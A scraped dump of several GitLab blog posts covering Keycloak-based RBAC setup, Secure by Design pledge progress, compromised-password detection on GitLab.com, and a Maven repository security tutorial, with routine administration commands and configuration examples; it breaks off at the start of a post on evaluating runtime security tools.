KEYCLOAK_ADMIN_PASSWORD: ${KEYCLOAK_ADMIN_PASSWORD}\n    ports:\n      - \"${KEYCLOAK_HTTPS_PORT}:8443\"\n\nvolumes:\n  gl-config:\n  gl-data:\n```\n\n  \nRun the `docker-compose up -d` command and your GitLab + Keycloak environment will be up in minutes.\n\n\n```\ndocker-compose up -d\n```\n\n## Keycloak realm configuration\n\nYour Keycloak realm is automatically configured on startup as it's defined in the `docker-compose` file.\n\nThe realm configuration will include:\n\n- Pre-configured GitLab client\n- Default client secret\n\nYou can access Keycloak admin console at `https://localhost:8443` with:\n\n- Username: admin\n- Password: from your `.env` file\n- To verify the setup:\n  - Log into Keycloak admin console\n  - Select the **GitLab** realm\n  - Check **Clients > gitlab**\n\n\nVerify the client configuration matches your environment.\n\nTo showcase the automated RBAC mechanism, you will need to follow these steps:\n\n- Map realm roles to GitLab roles\n- Create group structure with mapping roles, matching the Group, Sub-group, Project pattern in GitLab.\n\nBefore provisioning your first users to the user groups, it’s recommended to log into your GitLab instance to retrieve your instance root password:\n\n1. Access GitLab at `http://localhost:8081`.\n\n2. Get the root password:\n\n``` \ndocker exec gitlab grep 'Password:' `/etc/gitlab/initial_root_password`\n\n```\n\n3. Log in as root with the retrieved password.\n\n## Putting it all together\n\nTo demonstrate the power of this integrated RBAC model, start by walking through a real-world user journey — from identity to access. \n\nBegin in Keycloak by showcasing a user assigned to specific realm roles (e.g., developer, maintainer) and groups (e.g., /engineering/platform). These roles have been mapped to GitLab access levels via OIDC claims, while group affiliations align with GitLab’s structured hierarchy of root groups, sub-groups, and projects. \n\nUpon login through GitLab’s SSO Keycloak endpoint, the user is automatically provisioned into the correct group and assigned the appropriate role — with no manual intervention. \n\nWithin GitLab, you can see that the  user can interact with the assigned project: For example, a developer might push code and open a merge request, but not merge to protected branches — validating the least-privilege model. \n\nFinally, you can showcase access across multiple teams or products that are managed centrally in Keycloak, yet enforced precisely in GitLab through group sync and permissions inheritance. This demo illustrates not just role assignment, but how GitLab and Keycloak together deliver real-time, automated access governance at scale — ready for secure, compliant, enterprise-grade software development.\n\n## Why GitLab?\n\nGitLab’s comprehensive, intelligent DevSecOps platform is the ideal foundation for secure, scalable access management. With native OIDC support, granular role enforcement, SCIM-based user provisioning, and built-in audit logging, GitLab allows organizations to centralize control without compromising agility. Its flexible group hierarchy mirrors enterprise structure, making it easy to manage access across teams. \n\nIntegrating with identity providers like Keycloak automates onboarding, ensures least-privilege access, and creates a seamless identity-to-permission pipeline that supports regulatory and security goals. As a core component of GitLab’s security capabilities, RBAC ties directly into CI/CD, policy enforcement, and vulnerability management workflows.\n\n## Summary\nRBAC is just the beginning. With GitLab and Keycloak, you’re not just securing access — you’re enabling structured, automated governance that scales. As you expand into policy enforcement, Secure SDLC, and DevSecOps automation, this foundation becomes a launchpad for sustainable, enterprise-grade software delivery.\n\n> Get started with RBAC in GitLab today with a free, 60-day trial of GitLab Ultimate. [Sign up today](https://about.gitlab.com/free-trial/)!",[14],[751,752,753],"James Wormwell","Paul Meresanu","Kees Valkhof",{"featured":92,"template":677,"slug":755},"automating-role-based-access-control-rbac-at-scale","content:en-us:blog:automating-role-based-access-control-rbac-at-scale.yml","Automating Role Based Access Control Rbac At Scale","en-us/blog/automating-role-based-access-control-rbac-at-scale.yml","en-us/blog/automating-role-based-access-control-rbac-at-scale",{"_path":761,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":762,"content":770,"config":777,"_id":779,"_type":16,"title":780,"_source":17,"_file":781,"_stem":782,"_extension":20},"/en-us/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"title":763,"description":764,"ogTitle":763,"ogDescription":764,"noIndex":6,"ogImage":765,"ogUrl":766,"ogSiteName":767,"ogType":768,"canonicalUrls":766,"schema":769},"Last year we signed the Secure by Design pledge - here's our progress","Learn about GitLab's CISA-aligned additions and improvements around MFA, default password reduction, patching, and vulnerability disclosure.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659684/Blog/Hero%20Images/AdobeStock_479904468__1_.jpg","https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress","https://about.gitlab.com","article","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Last year we signed the Secure by Design pledge - here's our progress\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2025-06-09\",\n      }",{"title":763,"description":764,"authors":771,"heroImage":765,"date":773,"body":774,"category":14,"tags":775},[772],"Joseph Longo","2025-06-09","A little over a year go, GitLab signed [CISA’s Secure by Design Pledge](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/), a directive for technology providers to embed security at the heart of their products from the outset of development. Since then, we've made significant progress towards improving our security posture and creating a more secure ecosystem for our customers to develop secure software faster.\n\n## Meeting the security goals\n\nLet’s explore the additions and improvements we've made to further enhance security across the development lifecycle.\n\n### Multi-factor authentication (MFA)\n\n***Goal: Within one year of signing the pledge, demonstrate actions taken to measurably increase the use of multi-factor authentication across the manufacturer’s products.***\n\nGitLab currently offers multiple [MFA](https://docs.gitlab.com/ee/user/profile/account/two_factor_authentication.html) options for users to secure their accounts. We also offer SSO functionality to enable [GitLab.com](https://docs.gitlab.com/ee/user/group/saml_sso/), [Self-Managed](https://docs.gitlab.com/integration/saml/), and [GitLab Dedicated](https://docs.gitlab.com/integration/saml/) customers to streamline their authentication processes and their internal MFA requirements.\n\nTo further enhance the platform’s resilience, and to create a more secure foundation for our customers, GitLab is executing a phased MFA by Default rollout.\n\nIn the coming months, we will deploy changes requiring all customers to enable MFA on their accounts. \n\nFor customers who already have MFA enabled or authenticate to GitLab via their organization’s single sign-on (SSO) method, there will be no necessary changes. For customers who do not already have MFA enabled and are not authenticating to GitLab via their organization’s SSO method, they will be required to enable MFA and enroll in one or more of the available MFA methods.\n\nThe MFA rollout will occur in stages to ensure a smooth and consistent adoption across all customers. More details on GitLab’s MFA by Default rollout will be shared in the near future.\n\n### Default passwords\n\n***Goal: Within one year of signing the pledge, demonstrate measurable progress towards reducing default passwords across the manufacturers’ products.***\n\nTo reduce the use of default passwords, GitLab uses randomly generated root passwords for its multiple installation methods. GitLab’s multi-method [installation instructions](https://docs.gitlab.com/ee/install/install_methods.html) also include guidance on how to change the randomly generated root password for each installation.\n\nFor some install methods, such as installing GitLab in a Docker container, the password file with the initial root password is deleted in the first container restart after 24 hours to help further harden the GitLab instance.\n\n### Reducing entire classes of vulnerabilities\n\n***Goal: Within one year of signing the pledge, demonstrate actions taken towards enabling a significant measurable reduction in the prevalence of one or more vulnerability classes across the manufacturer’s products.***\n\nGitLab has published [secure coding guidelines](https://docs.gitlab.com/ee/development/secure_coding_guidelines.html#sast-coverage) to its documentation site that contains descriptions and guidelines for addressing security vulnerabilities commonly identified in the GitLab codebase. \n\nThe guidelines are “intended to help developers identify potential security vulnerabilities early, with the goal of reducing the number of vulnerabilities released over time.” \n\nGitLab continues to improve its [SAST rule coverage](https://docs.gitlab.com/development/secure_coding_guidelines#sast-coverage) to address broader sets of security vulnerabilities for itself and its customers.\n\n### Security patches\n\n***Goal: Within one year of signing the pledge, demonstrate actions taken to measurably increase the installation of security patches by customers.***\n\nGitLab handles all updates related to its GitLab.com and GitLab Dedicated service offerings. Additionally, GitLab publishes a [maintenance policy](https://docs.gitlab.com/ee/policy/maintenance.html), which outlines its approach to releasing updates, backporting, upgrade recommendations and supporting documentation, etc.\n\nGitLab’s documentation has comprehensive guidance on [how to upgrade](https://docs.gitlab.com/ee/update/?tab=Self-compiled+%28source%29#upgrade-based-on-installation-method) self-managed instances based on their deployment model. This includes Omnibus, Helm chart, Docker and self-compiled GitLab installations.\n\nGitLab also provides a detailed [upgrade plan](https://docs.gitlab.com/ee/update/plan_your_upgrade.html) to ensure proper testing and troubleshooting can be performed as well as rollback plans if necessary.\n\nDepending on the version upgrade, specific changes ([example for GitLab 17](https://docs.gitlab.com/ee/update/versions/gitlab_17_changes.html)) for each version are highlighted to ensure a smooth upgrade process and limit unavailability of services.\n\n### Vulnerability disclosure policy\n\n***Goal: Within one year of signing the pledge, publish a vulnerability disclosure policy (VDP).***\n\nGitLab maintains a strong bug bounty program through [HackerOne](https://hackerone.com/gitlab?type=team), a [security.txt](https://gitlab.com/.well-known/security.txt) file highlighting GitLab’s preferred and additional disclosure processes, and [release posts](https://about.gitlab.com/releases/categories/releases/) highlighting security fixes.\n\nCustomers and the general public can subscribe to receive GitLab’s release posts directly in their email inbox.\n\n### Common vulnerability enumerations \n\n***Goal: Within one year of signing the pledge, demonstrate transparency in vulnerability reporting***\n\nGitLab includes the Common Weakness Enumeration (CWE) field in all Common vulnerability enumerations (CVE) records it publishes. Over the past year, GitLab has iterated to also include the Common Platform Enumeration (CPE) field in CVE records.\n\nThe GitLab [CVE assignments project](https://gitlab.com/gitlab-org/cves) stores a copy of all CVE identifiers assigned and published by GitLab in its role as a CVE Numbering Authority.\n\n> Check out [GitLab’s CVE submission template](https://gitlab.com/gitlab-org/cves/-/blob/master/.gitlab/issue_templates/Internal%20GitLab%20Submission.md?ref_type=heads).\n\n### Evidence of intrusions\n\n***Goal: Within one year of signing the pledge, demonstrate a measurable increase in the ability for customers to gather evidence of cybersecurity intrusions affecting the manufacturer’s products.***\n\nGitLab has published an [incident response guide](https://docs.gitlab.com/ee/security/responding_to_security_incidents.html) to help customers respond to incidents involving GitLab instances. Additionally, GitLab has open sourced versions of its [GUARD detection-as-code](https://about.gitlab.com/blog/unveiling-the-guard-framework-to-automate-security-detections-at-gitlab/) and TLDR threat detection frameworks. The repositories for those open source frameworks can be found on [GitLab’s Open Source Security Center](https://about.gitlab.com/security/open-source-resources/).\n\nIn a similar manner, GitLab is adding functionality to its [GitLab.com](http://gitLab.com) service offering to [detect compromised passwords](https://about.gitlab.com/blog/introducing-compromised-password-detection-for-gitlab-com/) for all logins using GitLab’s native username and password authentication method.\n\n## What's next\n\n[GitLab’s Security Division’s mission](https://gitlab.com/gitlab-com/gl-security) is to enable everyone to innovate and succeed on a safe, secure, and trusted DevSecOps platform.\n\nGitLab's security enhancements over the past year have allowed us to demonstrate our commitment to CISA’s Secure by Design Pledge, and they have strengthened our platform and given customers a more reliable and secure foundation to build on. \n\nOur commitment to iteration means we're already focused on the next set of innovations that will drive us forward.\n\n> To learn more about GitLab’s security enhancements, bookmark our [security page on the GitLab Blog](https://about.gitlab.com/blog/categories/security/).\n\n## Read more  \n- [Secure by Design principles meet DevSecOps innovation in GitLab 17](https://about.gitlab.com/blog/secure-by-design-principles-meet-devsecops-innovation-in-gitlab-17/)\n- [Happy birthday, Secure by Design!](https://about.gitlab.com/blog/happy-birthday-secure-by-design/)\n- [Strengthen your cybersecurity strategy with Secure by Design](https://about.gitlab.com/the-source/security/strengthen-your-cybersecurity-strategy-with-secure-by-design/)",[776,479,14,184],"DevSecOps",{"slug":778,"featured":92,"template":677},"last-year-we-signed-the-secure-by-design-pledge-heres-our-progress","content:en-us:blog:last-year-we-signed-the-secure-by-design-pledge-heres-our-progress.yml","Last Year We Signed The Secure By Design Pledge Heres Our Progress","en-us/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress.yml","en-us/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress",{"_path":784,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":785,"content":791,"config":799,"_id":801,"_type":16,"title":802,"_source":17,"_file":803,"_stem":804,"_extension":20},"/en-us/blog/introducing-compromised-password-detection-for-gitlab-com",{"title":786,"description":787,"ogTitle":786,"ogDescription":787,"noIndex":6,"ogImage":788,"ogUrl":789,"ogSiteName":767,"ogType":768,"canonicalUrls":789,"schema":790},"Introducing compromised password detection for GitLab.com","GitLab is adding compromised password detection on June 19, 2025. After that date, users logging in with known compromised passwords will be warned.  Here is what you need to know.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097341/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%287%29_6QBUJnfaq500YYVKVDlxK7_1750097340425.png","https://about.gitlab.com/blog/introducing-compromised-password-detection-for-gitlab-com","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Introducing compromised password detection for GitLab.com\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ruby Nealon\"},{\"@type\":\"Person\",\"name\":\"Matt Coons\"}],\n        \"datePublished\": \"2025-05-22\",\n      }",{"title":786,"description":787,"authors":792,"heroImage":788,"date":795,"body":796,"category":14,"tags":797},[793,794],"Ruby Nealon","Matt Coons","2025-05-22","Data breaches have become more common than ever. [According to a recent report by the Identity Theft Resource Center](https://www.idtheftcenter.org/publication/2024-data-breach-report/), over 2,800 data breaches occurred in 2024 alone, with over 1 billion victim notices sent by compromised organizations. Often, these breaches result in the exposure of credentials – usernames, emails, and passwords – in plain text, either directly or with insufficient protection against conversion to plain text. These compromised or stolen credentials are actively and widely leveraged by attackers, too. [Verizon’s 2024 Data Breach Investigations Report](https://www.verizon.com/business/resources/reports/2024-dbir-data-breach-investigations-report.pdf) identified use of stolen credentials as the initial action in 24% of breaches, ranking it as their top initial action. \n\nGitLab.com stores your password securely, salted and hashed with bcrypt. Your password goes through a one-way hashing transformation before storage, securing your password and ensuring it is not possible to extract the original password from storage. The representation is also unique: Even if two users shared the same password, the results of the one-way transformations would be completely different. However, these safeguards intentionally make it impractical to identify all users with a compromised or otherwise weak password.\n\n__Starting on June 19, 2025, GitLab will be introduce compromised password detection during sign-in for all GitLab.com users.__ This works by securely comparing the password you log in with against a database of known compromised credentials during authentication. If the password is correct but matches known compromised credentials, you will be alerted with a banner on GitLab.com and you will be sent an email notification until you change your password. \n\n***Note:** Compromised password detection is only for logins using GitLab’s native username and password and does not apply to credentials used through SSO.*\n\nExample compromised password warning banner: \n\n![Example Compromised Password Warning Banner](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097349/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097348674.png)\n\nWe’re excited to introduce this additional countermeasure to help ensure your account is secure. We also encourage users to take these additional preventive actions to maintain the security of your account(s): \n\n1. [**Use a strong password unique to your GitLab.com account.**](https://docs.gitlab.com/user/profile/user_passwords/#change-a-known-password)\nGitLab [disallows weak passwords](https://docs.gitlab.com/user/profile/user_passwords/#block-weak-passwords) that are considered compromised or that contain part of your name, email address, or predictable words. We strongly recommend using a password manager like [1Password](https://1password.com/), [Google Password Manager](https://passwords.google.com/), or [Apple Passwords](https://support.apple.com/en-us/120758), as well.  \n3. [**Set up two-factor authentication for your GitLab.com account.**](https://docs.gitlab.com/user/profile/account/two_factor_authentication/#enable-two-factor-authentication)\nGitLab supports time-based, one-time password applications, like [Google Authenticator](https://support.google.com/accounts/answer/1066447?hl=en&co=GENIE.Platform%3DAndroid) and WebAuthn, with a [PIN/fingerprint](https://support.google.com/chromebook/answer/10364515?hl=en) or a [hardware security key](https://www.yubico.com/jp/product/security-key-series/security-key-nfc-by-yubico-black/).   \n5. **Prevent yourself from getting locked out of your account.**\n[Change your primary email address](https://docs.gitlab.com/user/profile/#change-your-primary-email) if you no longer have access, and [ensure you have recovery codes](https://docs.gitlab.com/user/profile/account/two_factor_authentication/#recovery-codes) in case your two-factor authentication device is lost or stolen. Also, consider [setting up an alternative method for two-factor authentication](https://docs.gitlab.com/user/profile/account/two_factor_authentication/#set-up-a-webauthn-device).  \n8. **Stay aware of new risks.**\nRegister with a service like [haveibeenpwned.com](http://haveibeenpwned.com) to receive an email notification if your email address appears in a newly disclosed breach. This service is free to use and requires only your email address at registration.\n\n> To learn more about trust and security measures on GitLab.com, visit the [GitLab security page](https://about.gitlab.com/security/), highlighting the GitLab Trust Center, compliance certifications, and security measures that keep users and customers safe on our platform.\n",[14,695,715,798,479],"news",{"slug":800,"featured":92,"template":677},"introducing-compromised-password-detection-for-gitlab-com","content:en-us:blog:introducing-compromised-password-detection-for-gitlab-com.yml","Introducing Compromised Password Detection For Gitlab Com","en-us/blog/introducing-compromised-password-detection-for-gitlab-com.yml","en-us/blog/introducing-compromised-password-detection-for-gitlab-com",{"_path":806,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":807,"content":813,"config":819,"_id":821,"_type":16,"title":822,"_source":17,"_file":823,"_stem":824,"_extension":20},"/en-us/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab",{"title":808,"description":809,"ogTitle":808,"ogDescription":809,"noIndex":6,"ogImage":810,"ogUrl":811,"ogSiteName":767,"ogType":768,"canonicalUrls":811,"schema":812},"Tutorial: Secure and optimize your Maven Repository in GitLab","Learn the best practices, advanced techniques, and upcoming features that improve the efficiency of your DevSecOps workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749666187/Blog/Hero%20Images/blog-image-template-1800x945__6_.png","https://about.gitlab.com/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tutorial: Secure and optimize your Maven Repository in GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2025-05-22\",\n      }",{"title":808,"description":809,"authors":814,"heroImage":810,"date":795,"body":816,"category":14,"tags":817},[815],"Tim Rizzi","As a GitLab product manager, I'm excited to share insights on securing and optimizing your Maven repository. We're passionate about providing a complete DevSecOps platform, and the Maven repository is part of this ecosystem. Explore best practices, advanced techniques, and upcoming features that will transform your Maven workflow.\n\n## Securing your Maven repository: A comprehensive approach\n\nSecuring your software supply chain is more critical than ever so let's dive into strategies to fortify your Maven packages in GitLab.\n\n### Implement strong authentication\n\n**Personal access tokens:** Use PATs for fine-grained access control.\n\nFor example:\n\n```bash\nmvn deploy -s settings.xml\n```\n\nWhere `settings.xml` contains:\n\n```xml\n\u003Csettings>\n  \u003Cservers>\n    \u003Cserver>\n      \u003Cid>gitlab-maven\u003C/id>\n      \u003Cconfiguration>\n        \u003ChttpHeaders>\n          \u003Cproperty>\n            \u003Cname>Private-Token\u003C/name>\n            \u003Cvalue>${env.GITLAB_PERSONAL_TOKEN}\u003C/value>\n          \u003C/property>\n        \u003C/httpHeaders>\n      \u003C/configuration>\n    \u003C/server>\n  \u003C/servers>\n\u003C/settings>\n```\n\n**Deploy tokens:** Ideal for CI/CD pipelines. Generate these in your GitLab project settings and use them in your `.gitlab-ci.yml`.\n\n```yaml\ndeploy:\n  script:\n    - 'mvn deploy -s ci_settings.xml'\n  variables:\n    MAVEN_CLI_OPTS: \"-s ci_settings.xml --batch-mode\"\n    MAVEN_OPTS: \"-Dmaven.repo.local=.m2/repository\"\n  only:\n    - main\n```\n\nThe corresponding `ci_settings.xml` file:\n\n```xml\n\u003Csettings xmlns=\"http://maven.apache.org/SETTINGS/1.1.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n  xsi:schemaLocation=\"http://maven.apache.org/SETTINGS/1.1.0 http://maven.apache.org/xsd/settings-1.1.0.xsd\">\n  \u003Cservers>\n    \u003Cserver>\n      \u003Cid>gitlab-maven\u003C/id>\n      \u003Cconfiguration>\n        \u003ChttpHeaders>\n          \u003Cproperty>\n            \u003Cname>Deploy-Token\u003C/name>\n            \u003Cvalue>${env.CI_DEPLOY_PASSWORD}\u003C/value>\n          \u003C/property>\n        \u003C/httpHeaders>\n      \u003C/configuration>\n    \u003C/server>\n  \u003C/servers>\n\u003C/settings>\n```\n\nIn this setup:\n\n* The `CI_DEPLOY_PASSWORD` should be set as a CI/CD variable in your GitLab project settings containing the deploy token.\n* The `\u003Cid>` should match the repository ID in your project's `pom.xml` file.\n\n**Token rotation:** Implement a token rotation policy using GitLab's API. For example, you could create a scheduled pipeline that rotates tokens monthly:\n\n```yaml\nrotate_tokens:\n  script:\n    - curl --request POST \"https://gitlab.example.com/api/v4/projects/${CI_PROJECT_ID}/deploy_tokens\" --header \"PRIVATE-TOKEN: ${ADMIN_TOKEN}\" --form \"name=maven-deploy-${CI_PIPELINE_ID}\" --form \"scopes[]=read_registry\" --form \"scopes[]=write_registry\"\n  only:\n    - schedules\n```\n\n### Leverage GitLab's built-in security features\n\n**Dependency Scanning:** Enable it in your `.gitlab-ci.yml`.\n\n```yaml\ninclude:\n  - template: Security/Dependency-Scanning.gitlab-ci.yml\n\nvariables:\n  DS_JAVA_VERSION: 11\n```\n\n**Container Scanning:** If you're containerizing your Maven applications.\n\n```yaml\ninclude:\n  - template: Security/Container-Scanning.gitlab-ci.yml\n\nvariables:\n  CS_IMAGE: $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA\n```\n\n**License Compliance:** Ensure all dependencies comply with your project's licensing requirements.\n\n```yaml\ninclude:\n  - template: Security/License-Scanning.gitlab-ci.yml\n```\n\n### Secure your CI/CD pipeline\n\n* **CI/CD variables:** Store sensitive information securely.\n\n  ```yaml\n  variables:\n    MAVEN_REPO_USER: ${CI_DEPLOY_USER}\n    MAVEN_REPO_PASS: ${CI_DEPLOY_PASSWORD}\n  ```\n* **Masked variables:** Prevent exposure in job logs. Set these in your GitLab CI/CD settings.\n* **Protected branches and tags:** Configure these in your GitLab project settings to control who can trigger package publishing.\n\n### Implement package signing\n\n* Use the Maven GPG plugin to sign your artifacts.\n\n  ```xml\n  \u003Cplugin>\n    \u003CgroupId>org.apache.maven.plugins\u003C/groupId>\n    \u003CartifactId>maven-gpg-plugin\u003C/artifactId>\n    \u003Cversion>1.6\u003C/version>\n    \u003Cexecutions>\n      \u003Cexecution>\n        \u003Cid>sign-artifacts\u003C/id>\n        \u003Cphase>verify\u003C/phase>\n        \u003Cgoals>\n          \u003Cgoal>sign\u003C/goal>\n        \u003C/goals>\n      \u003C/execution>\n    \u003C/executions>\n  \u003C/plugin>\n  ```\n\n* Store your GPG key securely using GitLab CI/CD variables.\n\n### Control package access\n\n* Use GitLab's project and group-level package registry settings to restrict access.\n* Implement IP allowlists for network-level access control in your GitLab instance settings.\n\n## Optimize performance: Streamline your Maven workflow\n\nEfficiency is crucial when working with large projects or numerous dependencies. Here are advanced techniques to optimize your Maven package usage in GitLab.\n\n### Utilize dependency management\n\n* Use the `\u003CdependencyManagement>` section in your parent POM.\n\n  ```xml\n  \u003CdependencyManagement>\n    \u003Cdependencies>\n      \u003Cdependency>\n        \u003CgroupId>org.springframework.boot\u003C/groupId>\n        \u003CartifactId>spring-boot-dependencies\u003C/artifactId>\n        \u003Cversion>${spring-boot.version}\u003C/version>\n        \u003Ctype>pom\u003C/type>\n        \u003Cscope>import\u003C/scope>\n      \u003C/dependency>\n    \u003C/dependencies>\n  \u003C/dependencyManagement>\n  ```\n### Leverage multi-module projects\n\n  * Structure your project with a parent POM and multiple modules:\n\n    ```\n    my-project/\n    ├── pom.xml\n    ├── module1/\n    │   └── pom.xml\n    ├── module2/\n    │   └── pom.xml\n    └── module3/\n        └── pom.xml\n    ```\n  * Use Maven's reactor to build modules in the optimal order:\n\n    ```bash\n    mvn clean install\n    ```\n\n### Implement parallel builds\n\n* Use Maven's parallel build feature:\n\n  ```bash\n  mvn -T 4C clean install\n  ```\n\n### Optimize for CI/CD\n\n* In `.gitlab-ci.yml`, use caching to speed up builds:\n\n  ```yaml\n  cache:\n    paths:\n      - .m2/repository\n\n  build:\n    script:\n      - mvn clean package -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository\n  ```\n* Implement incremental builds:\n\n  ```yaml\n  build:\n    script:\n      - mvn clean install -Dmaven.repo.local=$CI_PROJECT_DIR/.m2/repository -am -amd -fae\n  ```\n\n### Utilize build caching\n\n* Use the Gradle Enterprise Maven Extension for build caching:\n\n  ```xml\n  \u003Cbuild>\n    \u003Cplugins>\n      \u003Cplugin>\n        \u003CgroupId>com.gradle\u003C/groupId>\n        \u003CartifactId>gradle-enterprise-maven-plugin\u003C/artifactId>\n        \u003Cversion>1.9\u003C/version>\n        \u003Cconfiguration>\n          \u003CgradleEnterprise>\n            \u003Cserver>https://ge.example.com\u003C/server>\n            \u003CallowUntrusted>false\u003C/allowUntrusted>\n          \u003C/gradleEnterprise>\n        \u003C/configuration>\n      \u003C/plugin>\n    \u003C/plugins>\n  \u003C/build>\n  ```\n\n## Introducing the Maven Virtual Registry beta program\n\nI'm thrilled to announce the launch of our beta program for the upcoming Maven virtual registry feature. This addition to our package ecosystem will change how you manage Maven repositories in GitLab.\n\n### Key features of Maven Virtual Registry\n\n1. **Repository aggregation:** Combine multiple Maven repositories (both internal and external) into a single virtual repository.\n2. **Smart proxy and caching:** Improve build times by caching artifacts and intelligently routing requests.\n3. **Centralized Access Control:** Enhance security by managing access to all repositories from a single point.\n\n### How it works\n\n1. **Configuration:** Configure Maven authentication in your `settings.xml`:\n\n```\n\u003Csettings>\n  \u003Cservers>\n    \u003Cserver>\n      \u003Cid>gitlab-maven\u003C/id>\n      \u003Cconfiguration>\n        \u003ChttpHeaders>\n          \u003Cproperty>\n            \u003Cname>Private-Token\u003C/name>\n            \u003Cvalue>${env.GITLAB_TOKEN}\u003C/value>\n          \u003C/property>\n        \u003C/httpHeaders>\n      \u003C/configuration>\n    \u003C/server>\n  \u003C/servers>\n\u003C/settings>\n```\n\nAuthentication options:\n\n- Personal access token: Use `Private-Token` as the name and `${env.GITLAB_TOKEN}` as the value.\n\n-  Group deploy token: Use `Deploy-Token` as the name and `${env.GITLAB_DEPLOY_TOKEN}` as the value.\n\n- Group access token: Use `Private-Token` as the name and `${env.GITLAB_ACCESS_TOKEN}` as the value.\n\n- CI job token: Use `Job-Token` as the name and `${CI_JOB_TOKEN}` as the value.\n\n- Configure the virtual registry in your `pom.xml`.\n\nOption 1: As an additional registry:\n\n```\n\u003Crepositories>\n  \u003Crepository>\n    \u003Cid>gitlab-maven\u003C/id>\n    \u003Curl>https://gitlab.example.com/api/v4/virtual_registries/packages/maven/\u003Cvirtual registry id>\u003C/url>\n  \u003C/repository>\n\u003C/repositories>\n```\n\nOption 2: As a replacement for Maven Central (in your `settings.xml`):\n\n```\n\u003Cmirrors>\n  \u003Cmirror>\n    \u003Cid>gitlab-maven\u003C/id>\n    \u003Cname>GitLab virtual registry for Maven Central\u003C/name>\n    \u003Curl>https://gitlab.example.com/api/v4/virtual_registries/packages/maven/\u003Cvirtual registry id>\u003C/url>\n    \u003CmirrorOf>central\u003C/mirrorOf>\n  \u003C/mirror>\n\u003C/mirrors>\n```\n\n2. **Usage:** Now all your Maven operations will use the virtual repository.\n\n```\n# For personal access tokens\nexport GITLAB_TOKEN=your_personal_access_token\n\n# For group deploy tokens\nexport GITLAB_DEPLOY_TOKEN=your_deploy_token\n\n# For group access tokens\nexport GITLAB_ACCESS_TOKEN=your_access_token\n\n# Then run Maven commands normally\nmvn package\n\n```\n\n3. Benefits\n\n- Simplified dependency management\n- Improved build times\n- Enhanced security and compliance\n- Better control over third-party dependencies\n\n### Join the beta program\n\nWe're actively seeking participants for our beta program. As a beta tester, you'll have the opportunity to:\n\n* Get early access to the Maven Virtual Registry feature.\n* Provide direct feedback to our development team.\n* Shape the future of Maven package management in GitLab.\n* Participate in exclusive webinars and Q&A sessions with our product team.\n\n> To join the beta program or learn more about the Maven Virtual Registry, please visit the [GitLab Maven Virtual Registry Beta Program](https://gitlab.com/gitlab-org/gitlab/-/issues/498139) (**Note:** This is a placeholder link).\n\n## Summary\n\nAt GitLab, we're committed to providing cutting-edge tools for secure, efficient, and scalable software development. The Maven Virtual Registry is just one example of how we're continuously innovating to meet the evolving needs of developers and platform engineers.\n\nImplementing the security measures and optimization techniques discussed in this post and leveraging upcoming features like the Maven Virtual Registry can improve your Maven workflow within GitLab.\n\nWe're excited about the future of package management in GitLab and can't wait to see how you'll use these features to take your development process to the next level. Stay tuned for more updates and happy coding!",[14,479,715,695,818],"workflow",{"slug":820,"featured":92,"template":677},"tutorial-secure-and-optimize-your-maven-repository-in-gitlab","content:en-us:blog:tutorial-secure-and-optimize-your-maven-repository-in-gitlab.yml","Tutorial Secure And Optimize Your Maven Repository In Gitlab","en-us/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab.yml","en-us/blog/tutorial-secure-and-optimize-your-maven-repository-in-gitlab",{"_path":826,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":827,"content":833,"config":840,"_id":842,"_type":16,"title":843,"_source":17,"_file":844,"_stem":845,"_extension":20},"/en-us/blog/our-step-by-step-guide-to-evaluating-runtime-security-tools",{"title":828,"description":829,"ogTitle":828,"ogDescription":829,"noIndex":6,"ogImage":830,"ogUrl":831,"ogSiteName":767,"ogType":768,"canonicalUrls":831,"schema":832},"Our step-by-step guide to evaluating runtime security tools","Key learnings from the GitLab Security team’s runtime security tool evaluation on Kubernetes clusters and Linux servers using real-world attack simulations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097534/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1097303277_6gTk7M1DNx0tFuovupVFB1_1750097534344.jpg","https://about.gitlab.com/blog/our-step-by-step-guide-to-evaluating-runtime-security-tools","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Our step-by-step guide to evaluating runtime security tools\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hiroki Suezawa\"},{\"@type\":\"Person\",\"name\":\"Mitra Jozenazemian\"}],\n        \"datePublished\": \"2025-05-13\",\n      }",{"title":828,"description":829,"authors":834,"heroImage":830,"date":837,"body":838,"category":14,"tags":839},[835,836],"Hiroki Suezawa","Mitra Jozenazemian","2025-05-13","Choosing the right runtime security tool is critical for protecting modern cloud-native environments.  We recently undertook a rigorous evaluation process using real-world attack simulations on our Kubernetes clusters and Linux servers. Why? Because traditional cloud audit logs do not provide enough 